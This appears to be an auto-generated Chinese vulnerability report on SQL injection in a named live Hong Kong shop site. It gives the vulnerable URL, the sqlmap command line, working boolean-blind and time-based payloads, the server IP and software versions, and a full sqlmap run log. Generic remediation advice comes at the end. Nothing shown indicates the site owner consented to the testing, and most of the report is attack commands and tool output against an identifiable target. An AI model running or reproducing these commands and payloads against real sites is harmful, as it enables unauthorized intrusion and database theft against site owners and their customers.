基本信息

漏洞类型：SQL注入漏洞

漏洞等级：高危

厂商信息：此处需要手动搜索

漏洞简述

漏洞描述

即当应用程序使用输入内容来构造动态SQL语句以访问数据库时，如果对输入的参数没有进行严格的过滤或者过滤不完整将会导致SQL注入攻击的产生。

漏洞危害

恶意用户通过构造特殊的SQL查询语句把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。从而可以获取到数据库的相关信息，包括数据库账号密码信息，甚至可上传木马，从而控制服务器。

漏洞详情

网站漏洞报表

注入网址:http://www.hkjebn.com/tw/hk/coupon?ribbon=surprise

执行命令:python sqlmap.py -u http://www.hkjebn.com/tw/hk/coupon?ribbon=surprise --random-agent --dbs --current-user --current-db --is-db

注入参数(方式) : ribbon (GET)  
  
 注入方式 : boolean-based blind  
  
 注入标题 : AND boolean-based blind - WHERE or HAVING clause  
  
 注入攻击 : ribbon=surprise') AND 4070=4070 AND ('RwlE'='RwlE  
  
  
  
 注入方式 : AND/OR time-based blind  
  
 注入标题 : MySQL >= 5.0.12 AND time-based blind  
  
 注入攻击 : ribbon=surprise') AND SLEEP(5) AND ('knQp'='knQp

数据库类型 : MySQL  
  
服务器语言 : PHP 5.3.3, Apache 2.2.16  
  
数据库版本 : MySQL >= 5.0.12

网站信息报表

百度权重 3

网站主页 http://www.hkjebn.com

网站描述 "seo综合查询可以查到该网站各大搜索引擎的信息，包括收录，反链及关键词排名，也可以一目了然的看到该域名的相关信息，比如域名年龄相关备案等等，及时调整网站优化。" /

网站标题 樓上® HK JEBN |海味|花膠|冬蟲草|海參|乾鮑|燕窩|滋補品 - 主頁

IP\_\_坐标 香港 柴湾互联优势有限公司

所属\_\_IP 203.194.159.143

网站年龄 14年9月25天（创建于2004年07月08日,过期时间为2022年07月08日)

备案编号 暂无信息

备案性质 暂无信息

备案名称 暂无信息

备案时间 暂无信息

百度收录 暂无信息

协议类型 HTTP/1.1 200 OK

页面类型 text/html; charset=UTF-8

服务类型 Apache/2.2.16

程序语言 暂无信息

网站漏洞复现

执行命令

python sqlmap.py -u http://www.hkjebn.com/tw/hk/coupon?ribbon=surprise --random-agent --dbs --current-user --current-db --is-db

返回结果

\_\_\_  
  
 \_\_H\_\_  
  
 \_\_\_ \_\_\_[)]\_\_\_\_\_ \_\_\_ \_\_\_ {1.2.11.6#dev}  
  
|\_ -| . ['] | .'| . |  
  
|\_\_\_|\_ [,]\_|\_|\_|\_\_,| \_|  
  
 |\_|V |\_| http://sqlmap.org  
  
  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
  
  
  
[\*] starting @ 00:23:24 /2019-05-03/  
  
  
  
[00:23:24] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9' from file 'D:\HACKER\_TOOLS\LANGZI\_HACKER\LANGZI\_SQL\_INJECTION\Auto\_ExtrAct\_1.0\sqlmap\txt\user-agents.txt'  
  
[00:23:24] [INFO] testing connection to the target URL  
  
[00:23:26] [INFO] checking if the target is protected by some kind of WAF/IPS  
  
[00:23:27] [INFO] testing if the target URL content is stable  
  
[00:23:28] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'  
  
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C  
  
[00:23:28] [INFO] testing if GET parameter 'ribbon' is dynamic  
  
[00:23:30] [INFO] GET parameter 'ribbon' appears to be dynamic  
  
[00:23:30] [WARNING] heuristic (basic) test shows that GET parameter 'ribbon' might not be injectable  
  
[00:23:31] [INFO] testing for SQL injection on GET parameter 'ribbon'  
  
[00:23:31] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'  
  
[00:23:32] [WARNING] reflective value(s) found and filtering out  
  
[00:23:36] [INFO] GET parameter 'ribbon' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable   
  
[00:23:48] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'   
  
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y  
  
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y  
  
[00:23:48] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'  
  
[00:23:50] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'  
  
[00:23:51] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'  
  
[00:23:53] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'  
  
[00:23:54] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON\_KEYS)'  
  
[00:23:55] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON\_KEYS)'  
  
[00:23:56] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'  
  
[00:23:56] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'  
  
[00:23:57] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'  
  
[00:23:57] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'  
  
[00:23:58] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'  
  
[00:23:59] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'  
  
[00:23:59] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'  
  
[00:24:00] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'  
  
[00:24:00] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'  
  
[00:24:02] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'  
  
[00:24:03] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'  
  
[00:24:03] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'  
  
[00:24:03] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON\_KEYS)'  
  
[00:24:03] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'  
  
[00:24:03] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'  
  
[00:24:03] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'  
  
[00:24:03] [INFO] testing 'MySQL inline queries'  
  
[00:24:04] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'  
  
[00:24:05] [INFO] testing 'MySQL > 5.0.11 stacked queries'  
  
[00:24:05] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'  
  
[00:24:06] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'  
  
[00:24:07] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'  
  
[00:24:07] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'  
  
[00:24:08] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'  
  
[00:24:32] [INFO] GET parameter 'ribbon' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable   
  
[00:24:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'  
  
[00:24:32] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found  
  
[00:24:49] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'  
  
[00:25:02] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'  
  
[00:25:14] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'  
  
[00:25:26] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'  
  
[00:25:38] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'  
  
[00:25:49] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'  
  
[00:26:02] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'  
  
[00:26:13] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'  
  
[00:26:25] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'  
  
[00:26:38] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'  
  
[00:26:49] [INFO] checking if the injection point on GET parameter 'ribbon' is a false positive  
  
[00:26:57] [WARNING] parameter length constraining mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected  
  
[00:26:58] [WARNING] it appears that the character '>' is filtered by the back-end server. You are strongly advised to rerun with the '--tamper=between'  
  
GET parameter 'ribbon' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N  
  
sqlmap identified the following injection point(s) with a total of 272 HTTP(s) requests:  
  
---  
  
Parameter: ribbon (GET)  
  
 Type: boolean-based blind  
  
 Title: AND boolean-based blind - WHERE or HAVING clause  
  
 Payload: ribbon=surprise') AND 4070=4070 AND ('RwlE'='RwlE  
  
  
  
 Type: AND/OR time-based blind  
  
 Title: MySQL >= 5.0.12 AND time-based blind  
  
 Payload: ribbon=surprise') AND SLEEP(5) AND ('knQp'='knQp  
  
---  
  
[00:26:58] [INFO] the back-end DBMS is MySQL  
  
web application technology: PHP 5.3.3, Apache 2.2.16  
  
back-end DBMS: MySQL >= 5.0.12  
  
[00:26:58] [INFO] fetching current user  
  
[00:26:58] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval  
  
  
[00:26:58] [INFO] retrieved:   
  
  
[00:26:58] [WARNING] unexpected HTTP code '500' detected. Will use (extra) validation step in similar cases  
  
  
  
  
[00:27:00] [INFO] retrieved:   
  
  
[00:27:00] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions   
  
  
  
[00:27:01] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'  
  
current user: None  
  
[00:27:01] [INFO] fetching current database  
  
  
[00:27:01] [INFO] retrieved:   
  
  
[00:27:03] [INFO] retrieved:   
  
current database: None  
  
[00:27:05] [INFO] testing if current user is DBA  
  
[00:27:05] [INFO] fetching current user  
  
  
[00:27:05] [INFO] retrieved:   
  
  
[00:27:07] [INFO] retrieved:   
  
current user is DBA: False  
  
[00:27:09] [INFO] fetching database names  
  
[00:27:09] [INFO] fetching number of databases  
  
  
[00:27:09] [INFO] retrieved:   
  
  
[00:27:11] [INFO] retrieved:   
  
[00:27:12] [ERROR] unable to retrieve the number of databases  
  
[00:27:12] [INFO] falling back to current database  
  
[00:27:12] [INFO] fetching current database  
  
  
[00:27:12] [INFO] retrieved:   
  
  
[00:27:14] [INFO] retrieved:   
  
[00:27:16] [CRITICAL] unable to retrieve the database names  
  
[00:27:16] [WARNING] HTTP error codes detected during run:  
  
500 (Internal Server Error) - 282 times  
  
  
  
[\*] ending @ 00:27:16 /2019-05-03/

敏感数据

注入参数(方式) : ribbon (GET)  
  
 注入方式 : boolean-based blind  
  
 注入标题 : AND boolean-based blind - WHERE or HAVING clause  
  
 注入攻击 : ribbon=surprise') AND 4070=4070 AND ('RwlE'='RwlE  
  
  
  
 注入方式 : AND/OR time-based blind  
  
 注入标题 : MySQL >= 5.0.12 AND time-based blind  
  
 注入攻击 : ribbon=surprise') AND SLEEP(5) AND ('knQp'='knQp

数据库类型 : MySQL  
  
服务器语言 : PHP 5.3.3, Apache 2.2.16  
  
数据库版本 : MySQL >= 5.0.12

当前用户: None

当前数据库: None

是否有DBA权限: False

修复建议

代码原理防护

1.对用户的输入进行严格过滤，包括所有的参数，URL和HTTP头部等所有需要传给数据库的数据。  
 包括但不限于以下字符及字符串  
 select and or like regxp from where update exec order by having drop delete ( ) [ ] < > , . ; : ' " # % + - \_ = / \* @  
 2.预编译SQL语句，而不要动态组装SQL语句，否则必须确保在使用输入的数据组装成SQL语句之前，对特殊字符进行预处理。  
 3.以最小权限执行SQL语句

安全防火墙防护

1.安装网站防火墙  
 2.接入云WAF